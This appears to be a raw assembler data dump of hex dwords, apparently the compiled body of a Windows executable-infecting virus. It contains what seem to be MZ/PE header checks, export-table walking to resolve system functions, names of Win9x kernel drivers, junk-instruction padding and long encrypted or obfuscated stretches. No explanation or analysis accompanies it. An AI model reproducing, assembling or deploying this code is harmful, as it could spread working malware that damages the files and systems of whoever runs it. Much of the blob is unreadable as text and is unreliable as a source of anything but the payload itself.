dd 977508C3h, 48027647h, 14840Fh, 8B600000h, 0E903E585h
dd 6E805h, 9C360000h, 21FFE7A4h, 858D6158h, 5EC4847h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CBC35646h, 0FD0FFF8h
dd 688h, 0CDB53100h, 905E916h, 0E90221BDh, 24440305h, 51006A24h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 7D505AD3h, 7003D762h, 9D89F2F8h, 5E90819h, 244489F5h
dd 85C6F51Ch, 5E90EE5h, 0FE85C700h, 5EC7Bh, 0C7000000h
dd 0EC7A4685h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 0F542CCD9h, 1D699509h
dd 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 0F8FC6AC3h, 53006A61h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 3126D616h
dd 0E92DC18Dh, 0C5BD8905h, 0C205E919h, 0BD310008h, 5E91045h
dd 1E61858Bh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 7777C9C3h, 65BD09F5h, 4A05E916h
dd 2729B589h, 0D26B05E9h, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 5E9EAECh, 0F0000000h
dd 602E08A1h, 60F9C203h, 0C64ED381h, 9D8964FFh, 5E906ADh
dd 0ADF59661h, 1FBB6660h, 6840F8Dh, 89000000h, 0E90CFD95h
dd 7C816105h, 2424h, 870F1000h, 159h, 0BE9h, 93998E00h
dd 995C92AAh, 0EDF2B8E1h, 11890Fh, 0CE90000h, 7B000000h
dd 1D1D90C2h, 0DA98F548h, 9066FE26h, 0FE95250h, 65000000h
dd 0AD4AE1BBh, 42427B77h, 0DFAD6283h, 310F1D63h, 9E960h
dd 0D16C0000h, 0A967A53Fh, 66774B10h, 6132ADBEh, 5050585Ah
dd 6850F52h, 0F000000h, 84h, 50310F00h, 9E952h, 5E7D0000h
dd 7C7AFB31h, 0FB1ADB4h, 11E931h, 135A0000h, 9B96CD2Fh
dd 0CB2411ACh, 0F60AF8D8h, 5A881DDDh, 90585A58h, 30598589h
dd 448B05E9h, 66602824h, 61067BBEh, 8830F50h, 0F000000h
dd 28Ah, 89616000h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0CAD85DC3h, 0EE8F960h
dd 33000000h, 8CB8AB20h, 2B97C9E8h, 11E45583h, 99B5898Ch
dd 5E05E90Ch, 47858D61h, 6A05EC48h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DBF1C356h
dd 6009E5E9h, 8B6610B5h, 0D0FF61F7h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 1EC35242h, 0EEB9D738h, 5325150Dh
dd 0E8B0F19h, 0E9000000h, 9, 8543E2Ah, 0E7FE09EBh, 0FD4BE9A9h
dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 9F84E8C3h, 4866279Bh, 31852914h, 0FC05E916h
dd 904B858Dh, 0B52905ECh, 5E92AADh, 50525050h, 0F525052h
dd 0F585A31h, 14E931h, 0C13A0000h, 0BF7BF266h, 786099FDh
dd 0AD18E010h, 609CD20Dh, 585A1965h, 5060310Fh, 5A310F52h
dd 61616058h, 489585Ah, 0BE924h, 698E0000h, 0A38CC120h
dd 7115B111h, 35FF6448h, 0
dd 81DF8060h, 24048B61h, 8810Fh, 81600000h, 6CEB18C8h
dd 8589613Bh, 5E90ACDh, 30659529h, 896405E9h, 25h, 858DF800h
dd 5EC8E82h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 2DC35747h, 309640FCh, 8E9EAh, 0E30B0000h, 7A1299DFh
dd 6089690Dh, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 1BFD2161h, 17A79B1Fh, 0A18D8938h
dd 0E905E91Ch, 205h, 0E8DB8BFCh, 0
dd 7BED815Dh, 0BC05EC8Eh, 12FF9Ch, 3095BD83h, 740005E9h
dd 55858B18h, 0C605E930h, 858B0000h, 5E92FD9h, 0FF0000C6h
dd 0E9176195h, 0B5FF6005h, 5EC764Ah, 764E858Dh, 8D5005ECh
dd 0EC784685h, 95FF5005h, 5E903A5h, 610CC483h, 88A0Fh
dd 850F0000h, 2, 6A6160h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 4B5718C3h, 0F870Fh, 0AE90000h
dd 9D000000h, 0B5632F1h, 6346E4A4h, 46B58D7Ah, 0F05EC78h
dd 0C83h, 6830F00h, 0F000000h, 86h, 0D9BD8D00h, 6A05E913h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 295BC357h, 0E927F98Dh, 3E8005h, 65840Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 11E90FC3h, 8B000000h, 0D0CB9C6Bh, 14B54477h
dd 605376A6h, 75489DB2h, 50006AA4h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0C2ACD66Ch, 9D89A18Bh
dd 5E91F45h, 0FFFF98E9h, 0D19509FFh, 2B05E923h, 0B70F60C0h
dd 6800FD1h, 81000000h, 0F484BEE2h, 6AAA615Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0B8A4C357h, 7B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 0F5BE4970h, 66D85C7h
dd 105E9h, 9D890000h, 5E92579h, 4E6D8D8Dh, 0FFF805E9h
dd 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 46421761h, 9529FCA1h, 5E92715h, 0C245C8Bh
dd 0E855h, 815D0000h, 0EC9055EDh, 0B8838B05h, 89000000h
dd 0EC764A85h, 74858D05h, 8905EC8Eh, 0B883h, 0C0335D00h
dd 12840FC3h, 0E9000000h, 0Dh, 0F8AFAF8h, 4726F596h, 107B5DDFh
dd 56006A0Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 0E9A7E244h, 0Eh, 0C224027Ah, 18DDD3h, 27ED122Ah
dd 6A60E558h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0E704C355h, 19858D9Fh, 6A05EC93h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0F3FEC350h, 0B9A1232Ah, 41D8D29h, 505005E9h
dd 12880F52h, 0E9000000h, 0Dh, 0AA6B09BEh, 0A0CF9E3Ah
dd 85AD4039h, 0E9310F10h, 0Eh, 0EE55C9Eh, 0A7E3D3A8h, 122787EFh
dd 585A0C68h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 858EC352h, 35FF64B3h
dd 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E2C35646h
dd 89CBE780h, 0E9166D85h, 25896405h, 0
dd 91858DF9h, 0F05EC93h, 0C81h, 6890F00h, 29000000h, 0E924C99Dh
dd 1608905h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0C35040h, 0E9186C6Dh, 13h, 0AC5A3765h, 0E251FB46h
dd 4883F072h, 0B3A0C9EBh, 0C61FEFCFh, 0E90EE585h, 85314F05h
dd 5E92F69h, 4E8h, 0C8742A00h, 128D0FFEh, 0E9000000h, 0Dh
dd 2299CF0Dh, 0FF3692F4h, 0EE603FA6h, 0BE95096h, 3A000000h
dd 0E15F99C2h, 0E36EB5C6h, 448B6510h, 8D0F0424h, 17h, 61605250h
dd 0AE9310Fh, 0CF000000h, 0F6ADE321h, 1BF5DD1Eh, 8B585A97h
dd 0E8A0F00h, 0E9000000h, 9, 0F1E34551h, 4F6A1698h, 2444890Eh
dd 13E904h, 0E2E0000h, 0EF83A523h, 9D9A56C3h, 0EBD02FE0h
dd 0CE5B2FB1h, 6A584Ch, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 9F5C98C3h, 0FDB5FF23h, 905E91Eh
dd 0E905A99Dh, 6F858D05h, 6A05EC7Ah, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 4E65C355h
dd 0DE9EE07h, 7B000000h, 0B13B44BDh, 3188D11Fh, 0B81E6BFDh
dd 2231BD01h, 0D0FF05E9h, 0A8E9FCh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 187EDEC3h
dd 696939EBh, 8D8938B9h, 5E929F5h, 5B1B529h, 5C8B05E9h
dd 0E8550C24h, 0
dd 23ED815Dh, 8B05EC93h, 0E9234585h, 0FD858905h, 8B05E91Eh
dd 0E9003985h, 71858905h, 8B05E91Eh, 0E921D585h, 0C5858905h
dd 0C605E918h, 0E90EE585h, 85C70005h, 5EC7BFEh, 0
dd 9391858Dh, 838905ECh, 0B8h, 0C3C0335Dh, 8DB58960h, 0E905E910h
dd 0Eh, 0ED83C3CAh, 6B9C0B6Eh, 1F19F47Fh, 0F8613489h, 19919D89h
dd 74BC05E9h, 0F90012FFh, 58F64h, 0F000000h, 1783h, 12E900h
dd 0B6410000h, 934CE2F3h, 57D2368Fh, 0F2134FA5h, 97F6F4A6h
dd 6A04C483h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 3BF3C355h, 15FA05B6h, 0C8C0Fh
dd 800F0000h, 6, 2C058D09h, 9D0105E9h, 5E92EBDh, 83E961h
dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh
dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h
dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h
dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch
dd 83202454h, 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h
dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h
dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh, 12h
dd 0CC8E03B5h, 3E5A1909h, 27A76B04h, 5E1D0372h, 0C7808F51h
dd 10E95A95h, 0D7000000h, 46DB3812h, 2200E068h, 0C90A0D55h
dd 81413E61h, 5FA8C2h, 0DE8B6600h, 17B968h, 0C2BF0F00h
dd 2DB85259h, 5F520646h, 0B86632FFh, 0BB5EF5E2h, 4333FEC0h
dd 0C546EE81h, 816637FCh, 810425CBh, 0FFCE85EEh, 9860F04h
dd 0F000000h, 386h, 71F48000h, 933BEE81h, 0B8665FB7h, 328934FFh
dd 0EA81B9B0h, 36D5E8D0h, 81FFBF0Fh, 0D5E8CCC2h, 10B86636h
dd 1E98331h, 1D850Fh, 0B8660000h, 25E9A53Ah, 0E3000000h
dd 0E5D32AC3h, 9A5D8C5Bh, 7DDEF3D2h, 576FAE90h, 53C0B558h
dd 0E95FD88Bh, 0FFFFFF84h, 17653E1Dh, 4765AEE6h, 10E8h
dd 5F21F300h, 3281A6B9h, 8942C0C6h, 75E10C31h, 0F5FF846h
dd 0C781C8B7h, 5F2Dh, 0B8h, 0D78B6600h, 0E93834FFh, 0Eh
dd 5685C3F4h, 0BF1714C4h, 9F015FF9h, 665BC6BEh, 817F35BAh
dd 2A1900C3h, 0EAE68151h, 81289B77h, 0E5DBE2C3h, 0A820F0Ch
dd 0E9000000h, 5, 33A958ABh, 8BC38190h, 0B578AF14h, 48F5358h
dd 0F7B70F07h, 5E9h, 0B7BF7500h, 0E883D285h, 0D2816602h
dd 48488BA8h, 8E8h, 0DFA11100h, 0D6CB0AF7h, 0AE981h, 0CF450000h
dd 71E796E1h, 376B748Ah, 80F8815Eh, 0FFFFFA1h, 0FFFF7785h
dd 4DACB9FFh, 34EB06D9h, 4D534649h, 20205247h, 20444B56h
dd 20202020h, 204D4D56h, 20202020h, 4E495756h, 20203233h
dd 4C445856h, 20205244h, 3 dup(0)
dd 715E9h, 0FC60F800h, 962F85C7h, 5ECh, 8E90000h, 0AA000000h
dd 0C4C7F7F2h, 8B1EF0B7h, 55006AC6h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 26F7CBD1h
dd 0F9DBB71h, 5760D8B7h, 615F5F50h, 0F10E8C1h, 18Eh, 0C166FC00h
dd 0FE908C8h, 2D000000h, 0F8069085h, 1B73D3B8h, 5B6F6265h
dd 8589860Eh, 5EC9633h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0B3C35343h, 0C0A8E99h, 178A0Fh, 12E90000h
dd 41000000h, 4CE2F3B6h, 0D2368F93h, 134FA557h, 0F6F4A6F2h
dd 0CBC16697h, 5E908h, 0E1F00000h, 83CF2EF1h, 850F40FBh
dd 80h, 11E9h, 58E49600h, 6058AF8h, 0D98C175Bh, 0E3C72C8Ah
dd 0BD8D1CFBh, 5EC9607h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 7C35646h, 11E94AB2h, 83000000h, 0D0919E04h
dd 0F152AE9Dh, 4E1E89F9h, 61B60FAAh, 8E9h, 9560EC00h, 7575B66Bh
dd 17BE972h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0F5972FC3h, 0F0DFB83h, 4A85h, 0BD8DF500h
dd 5EC960Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 91C35242h, 0DE9h, 7E0C5800h, 0CBB8403Eh, 0F295E1ACh
dd 1AE96048h, 0F5000001h, 0AE9h, 0A525EF00h, 0E07B8D15h
dd 8384D7DDh, 850F01FBh, 61h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 2FC35747h, 0E92618D3h, 0Ah
dd 0A53E5D48h, 634F75B0h, 8A0F02CDh, 1, 17BD8DFCh, 6A05EC96h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 1A46C356h, 0E9F9C43Eh, 0A1h, 2AFB83FCh, 58850Fh
dd 0BE90000h, 0A1000000h, 0D55993B6h, 0D9AB5F83h, 0BD8D086Fh
dd 5EC961Fh, 14840FF8h, 0F000000h, 0E8Fh, 9E900h, 2DD20000h
dd 0C2B82DDh, 0E960EC43h, 61h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0FBC35646h, 62BD21A1h, 0FB839A97h
dd 11850F27h, 0F8000003h, 9627BD8Dh, 6A05ECh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 0FBEF6C3h
dd 0C81h, 68F0F00h, 0F000000h, 80h, 37BD8900h, 6A05EC96h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0A3EEC353h, 0E960DCFBh, 14h, 6C69A28Fh, 47FE6994h
dd 2F0003A7h, 49997470h, 3CF4B485h, 8E860h, 0F4520000h
dd 242D03C2h, 51584E67h, 0F861615Bh, 6AC88C66h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 9E7EC351h, 154457EBh, 0F58BAD16h, 0BE90324h, 0B9000000h
dd 87FB7C8Fh, 3E622A3h, 0C00AB8F1h, 168850Fh, 8DF90000h
dd 0EC9C3EB5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 4FAC5988h, 0FD01CD30h
dd 8E9h, 65AADC00h, 399DFDDBh, 0EBE601Bh, 6055BA9Fh, 66C3B70Fh
dd 0DAF3EF81h, 858B6161h, 5EC9CB0h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 82C35747h, 7A7B8F0Eh, 0BF6660F9h
dd 9E9879Bh, 0EE000000h, 8ED512A2h, 1676430Eh, 8E0F5061h
dd 13h, 0EE9h, 2DD69F00h, 60158619h, 0FFC98064h, 89E25B53h
dd 11E92414h, 6E000000h, 82908114h, 471E2020h, 0C54D0F87h
dd 357C31D9h, 244C010Fh, 5E9FEh, 0BCE90000h, 5A05EF95h
dd 11E9h, 0ED112700h, 0C35E3F64h, 7739C177h, 73732B67h
dd 0C28367BBh, 8966F524h, 5E9FC72h, 62000000h, 0CC75476Ch
dd 10CEC1F8h, 728966FCh, 0E880F02h, 0E9000000h, 9, 0C0E19131h
dd 0C387DB17h, 0E904CD6Eh, 12h, 0B6504DB0h, 0FDF483FCh
dd 0AD4C44F0h, 38E0F099h, 850F19B9h, 7, 18A0Fh, 0E9F80000h
dd 0F1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 1FC35242h, 0D56711C1h, 0B8B0F81h, 60000000h, 50FBD381h
dd 0C480448Ch, 858B61A6h, 5EC9CB0h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0FCC35545h, 0A95BF03Ah, 0DB51B2CCh
dd 3EB58D09h, 0F05EC9Ch, 1389h, 0EE900h, 1F90000h, 0F3C99C71h
dd 8E018C7Fh, 987C3E82h, 4E23858Dh, 6A05ECh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 4047D1C3h
dd 285F4A2Bh, 5E97AF8h, 39000000h, 2FA40F0h, 14E9h, 4A4C8B00h
dd 8E3F942Ah, 76EF70D0h, 2A458E1Ah, 930C5B65h, 6AD0FF4Fh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 0E93AC357h, 5, 49B5D37Ah, 2F858949h, 0E905EC96h
dd 14h, 0EA82423Bh, 2E1EE9C2h, 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h
dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 1B4D5D51h, 858BF94Fh, 5EC962Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8CC35040h, 0C0D1C77Ah
dd 0C3FCE2A7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 0CC35343h, 800F5D42h, 13h, 0AE960h, 93440000h
dd 0B4849FA7h, 626CAF55h, 60616160h, 13E9h, 17291700h
dd 87DD507Ah, 8F293FA5h, 3EFD426Ch, 710ECCC5h, 9CB0BD83h
dd 0F0005ECh, 2885h, 0DE900h, 0BE880000h, 0C3A988F9h, 0ED427C28h
dd 0C7B7EF97h, 0EC9CB085h, 1013F05h, 7E900h, 0D3F00000h
dd 8B3AB9CBh, 1DE939h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0CDFC37C3h, 20h, 74C00B00h
dd 0C708D37h, 9637BD8Bh, 8B905ECh, 0A6000000h, 75492275h
dd 30488BFAh, 96339D8Bh, 583B05ECh, 8B157F34h, 4D26BD3h
dd 18BCA03h, 962F8589h, 4EB05ECh, 0C5EB008Bh, 2F858B61h
dd 0CF05EC96h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0A0C35545h, 8B60AF5Ah, 0E5D681F0h, 615E6744h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0CCC35343h, 5C282323h
dd 0F7B41ECFh, 0CE9h, 0A5BF7300h, 2245D6E7h, 0EA040FE8h
dd 0C08BFCB4h, 0E5E9h, 0EE4D1000h, 3271DCFFh, 0E0A1D1Fh
dd 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h
dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h
dd 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h, 60206020h
dd 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h
dd 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h, 53752060h
dd 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h, 60D650F0h
dd 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h, 60F76DB9h
dd 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h, 0EDF73D57h
dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h
dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h
dd 0A1E357Dh, 0C1A8000Eh, 0FD54A766h
dd 7F1643F2h, 69E91605h, 6800000Ch, 5ECA0E8h, 0FCE1A6E9h
dd 0A1DF68FFh, 9CE905ECh, 68FFFCE1h, 5ECA291h, 0FCE192E9h
dd 0A32C68FFh, 88E905ECh, 68FFFCE1h, 5ECA3C6h, 0FCE17EE9h
dd 0A45B68FFh, 74E905ECh, 68FFFCE1h, 5ECA5B0h, 0FCE16AE9h
dd 0A6C868FFh, 60E905ECh, 68FFFCE1h, 5ECA7ACh, 0FCE156E9h
dd 0A86868FFh, 4CE905ECh, 68FFFCE1h, 5ECA91Dh, 0FCE142E9h
dd 0A7CE0EFFh, 3968A48Ah, 0CAF9361Ch, 598CC7ADh, 0ED18563Ch
dd 9C16CCD0h, 3016335Eh, 0C5ABC8EFh, 583E5B86h, 1CEEB1Eh
dd 842C7220h, 59B21325h, 5588C27Bh, 0FB226327h, 9CCF09CDh
dd 3C6FAA6Eh, 0C2B32A0Eh, 621336DCh, 0B6E521FBh, 0C6F93319h
dd 0A81870A9h, 2644D605h, 0EA1D2CB5h, 2172204Dh, 0C51C323Fh
dd 857DAC4Fh, 2918C456h, 23E79F3Ch, 0E8BF67E9h, 2B9B8D8Eh
dd 8CC6ACC9h, 0DC87B659h, 0D00E2FBFh, 0FF974FECh, 132041C2h
dd 0A6D40340h, 8533A7E2h, 132041C1h, 0C7F557CDh, 0C5DF96B9h
dd 70F85A89h, 6406411h, 96D0B6D3h, 8F91C063h, 1328FE7Eh
dd 571BD370h, 0F8BCEA1Dh, 435C8ABDh, 9D31F00h, 0B5EF4BD4h
dd 8DDC5482h, 0CF2EB6E8h, 0AB88B7A6h, 0DEA70256h, 0B17DEBF6h
dd 558F4700h, 6598D2B8h, 0FEA76948h, 0E9B94526h, 80000004h
dd 7EDB15Fh, 7BF11320h, 88C2B0DEh, 29632755h, 48A0D9F6h
dd 661435D8h, 16C91A20h, 818738AEh, 0D47FDC6Dh, 0A553801Dh
dd 1C327728h, 0FA92C036h, 132058C8h, 0C4E78E2Fh, 4526911Ch
dd 4914h, 176FDA00h, 4D5604A7h, 0B91C3229h, 0ADDB0E49h
dd 485381E3h, 0ED0BF19h, 50EDB64Fh, 20E5AC96h, 6E95D613h
dd 0F427C40h, 7ABB17E1h, 0B7542553h, 0D879E0BEh, 28420E9Dh
dd 1F5E4526h, 25000001h, 0E9105604h, 289E1320h, 88C25D8Bh
dd 0E391B255h, 16C91AA3h, 6018B52Bh, 2C252655h, 2E806E74h
dd 426DAB91h, 8ED07E9Fh, 0C516C999h, 0C9995717h, 89E15716h
dd 0FCC27013h, 216C999h, 7337EF8Ch, 89630639h, 0CB83204Bh
dd 7DA8E6C0h, 93C0FAE0h, 0D4822558h, 16C99992h, 2744A61Ch
dd 0C994846Dh, 0C8769716h, 16C99A86h, 0C1614308h, 85CA87B4h
dd 66A08623h, 0F6301633h, 267E95C3h, 0F1537EBCh, 932BA04Eh
dd 0F56B1C31h, 0D7479FD8h, 0FA391334h, 5DDF9FCFh, 69DF1320h
dd 0EDF19FCCh, 7119C6D5h, 407E58FBh, 0E56026D4h, 752316CBh
dd 16CBE531h, 79EF47BDh, 0D614FA17h, 6A0E7AABh, 69616F74h
dd 91BADh, 739ADA00h, 5347056h, 96C502E8h, 25589379h, 0B9E42208h
dd 704A989Ch, 4EA0732h, 997F9CC3h, 2C122F5Ah, 0D5A2BFF2h
dd 0BA0046F4h, 358E1325h, 63A17B57h, 74D6FD3Eh, 0F9DF7C46h
dd 21D641BBh, 267A4025h, 87C1A7C4h, 52BCFB05h, 0CBA005Dh
dd 16C9334Ah, 1A7CDE54h, 176FCFFDh, 4D5604A7h, 6E1C3229h
dd 8A275A94h, 0D2FB38A8h, 6F396796h, 6415DF0Dh, 0AC25CC10h
dd 0BAE84A10h, 20822022h, 0FC256213h, 43294BBh, 0A6D40340h
dd 7A2A4BC2h, 48AF113Ch, 0B58FCEA7h, 0CBAA477Ah, 45264F05h
dd 8C1Bh, 0C908E200h, 0C2D3019Eh, 63275588h, 34CCFA25h
dd 16C917DFh, 7996C903h, 0F8265993h, 761989E1h, 31F473C8h
dd 304DC31Ch, 8C2F9FF7h, 0C6A56BDEh, 4AF8AF19h, 16CB8F04h
dd 0FB2148Ah, 29CCF735h, 48E5104Fh, 527DBBA1h, 74D3A321h
dd 0DE9A926Fh, 824h, 5F7CA3E3h, 0F10E3D79h, 829FCE0Bh
dd 112E619Ch, 0A5C2ED2Bh, 3B7941A1h, 0CC0DF310h, 63A288A5h
dd 0FB351B38h, 0FDDEABC8h, 25BB0F4Fh, 58368F13h, 3C5984C2h
dd 0CCE91C56h, 5B88C29Eh, 608EF01Fh, 122F629Ch, 88E0DFEEh
dd 26C77518h, 681C321Ch, 3A754FF2h, 0A8B16A07h, 0B8398979h
dd 7D1ADA72h, 0F81AE9C3h, 1282DA60h, 444C16Fh, 148AE713h
dd 0B877CFE6h, 745145Dh, 0D6A32BDCh, 9E4CEF51h, 0E2FD40F7h
dd 668FCB3Bh, 0CAF82Bh, 78993C9Eh, 0C08D6149h, 59B1271Ch
dd 0C786370Ch, 0E2C8656Fh, 725875A8h, 5CD40538h, 0AB7452BFh
dd 772F7B3h, 0F1310000h, 8BC7ADCAh, 1C593F5Ch, 0AFEAD0EDh
dd 3B795F7Ch, 0F3EFF310h, 415E89C7h, 0D6F31A5Bh, 6986B1F0h
dd 0F9164983h, 0D99D4B2Ch, 0E51325B8h, 88C2AE8Ch, 0B8102755h
dd 86F7A548h, 0C81C3200h, 8CEE1958h, 6EDE366Fh, 86281DCBh
dd 7619DDh, 1649835Dh, 0A6D913F9h, 99096178h, 18DE48F6h
dd 9B601C31h, 0F837EFD4h, 65E153F8h, 4FE20D54h, 0EE88BEDh
dd 3C6BA7D4h, 9DD7BDDAh, 0CD253C6Ah, 870CBA5Dh, 5419DB49h
dd 0B4103B7Ah, 0C8AA477Ah, 10D72152h, 6E666F77h, 6D7B2h
dd 2F569600h, 0C1F02C12h, 5281BEA4h, 0E1144F35h, 75A0DEC4h
dd 248E5458h, 0B89EBBE6h, 4D335077h, 0E0C6E30Eh, 895673A6h
dd 0B9B4FAA8h, 0E13A1325h, 0A7176F03h, 0AD305604h, 59331C34h
dd 7254F118h, 447F59FCh, 0E51FE311h, 86B350B2h, 50FE72ACh
dd 1325870Eh, 0B2E52090h, 0A4D1EE50h, 0CAB07375h, 821FB371h
dd 12F629Ch, 7F2292EAh, 0DEEDBCD1h, 9FDDB719h, 0DDC18533h
dd 57CD16CCh, 0E2A452F5h, 0EC16CCDDh, 32F7D976h, 555F36EEh
dd 74A50745h, 6F718730h, 3D8B473Fh, 0FC000006h, 927895BCh
dd 240A2756h, 0B59BB8E7h, 442A477Ah, 0BABEDB06h, 29549228h
dd 0BEE5260Ch, 517CBBA1h, 0E1144E34h, 6816F7C4h, 1325B926h
dd 6F714FA8h, 2A04A717h, 578AC5EEh, 7D2B58F5h, 1C34AC48h
dd 0A37D2096h, 33193669h, 8198C6F9h, 6816B929h, 19D832FEh
dd 46670A80h, 65022D6Ch, 50C3457Fh, 7710A3CEh, 8D7390F2h
dd 0BCE72653h, 3462C48Eh, 6614C51Dh, 16C9DB20h, 13416CAAh
dd 197BF149h, 0DD4BC876h, 65DB1C32h, 8D9CDE34h, 0B9756D69h
dd 5A8h, 0E3002767h, 7592C1FDh, 623528Fh, 95B2E520h, 294671AFh
dd 0B7F5BD25h, 48896F8Ch, 0DF1E0421h, 77B197B4h, 795A2744h
dd 25BE8BCBh, 0DCBA1313h, 275588C2h, 0D9F62963h, 35D848A0h
dd 32230E87h, 66A0101Ch, 0D93B0533h, 0C2F13ABh, 0A7481320h
dd 0C533DDCEh, 47214526h, 0E4AEDC0Bh, 482647h, 6FEC0000h
dd 4A6FAD17h, 0EAB4E209h, 2E905A88h, 29C4DD8Bh, 0CC421C32h
dd 0B3C069Eh, 0A23B1320h, 0B93D381h, 0DC171320h, 59B17BA9h
dd 4E7CAFE9h, 50852284h, 69173825h, 13200B25h, 0B79633A9h
dd 4526C6E9h, 0EF07h, 4C7BCD00h, 36E49C77h, 16C9CF70h
dd 1A57087Eh, 0BDA34058h, 0F3E80183h, 72234E8Ch, 0AB0D6C8Fh
dd 507BB97Dh, 0F1245E22h, 0A4DEB8C3h, 0B4EED471h, 49AA6481h
dd 9916C9D0h, 290F2C5Fh, 5588C2EFh, 0CDFB5D27h, 7CABE8C2h
dd 0AEE7844Eh, 2243E656h, 0B9EC2701h, 0C9DEC589h, 389F7016h
dd 52FDAAAEh, 2DE784FAh, 1C322280h, 0B0245ECEh, 2028BC02h
dd 6ACC4213h, 0F310723Ch, 4FF262BAh, 0A61A542Eh, 2028B6F8h
dd 60C23813h, 11CB6832h, 19C6A326h, 7953F66Ch, 0C6F3103Bh
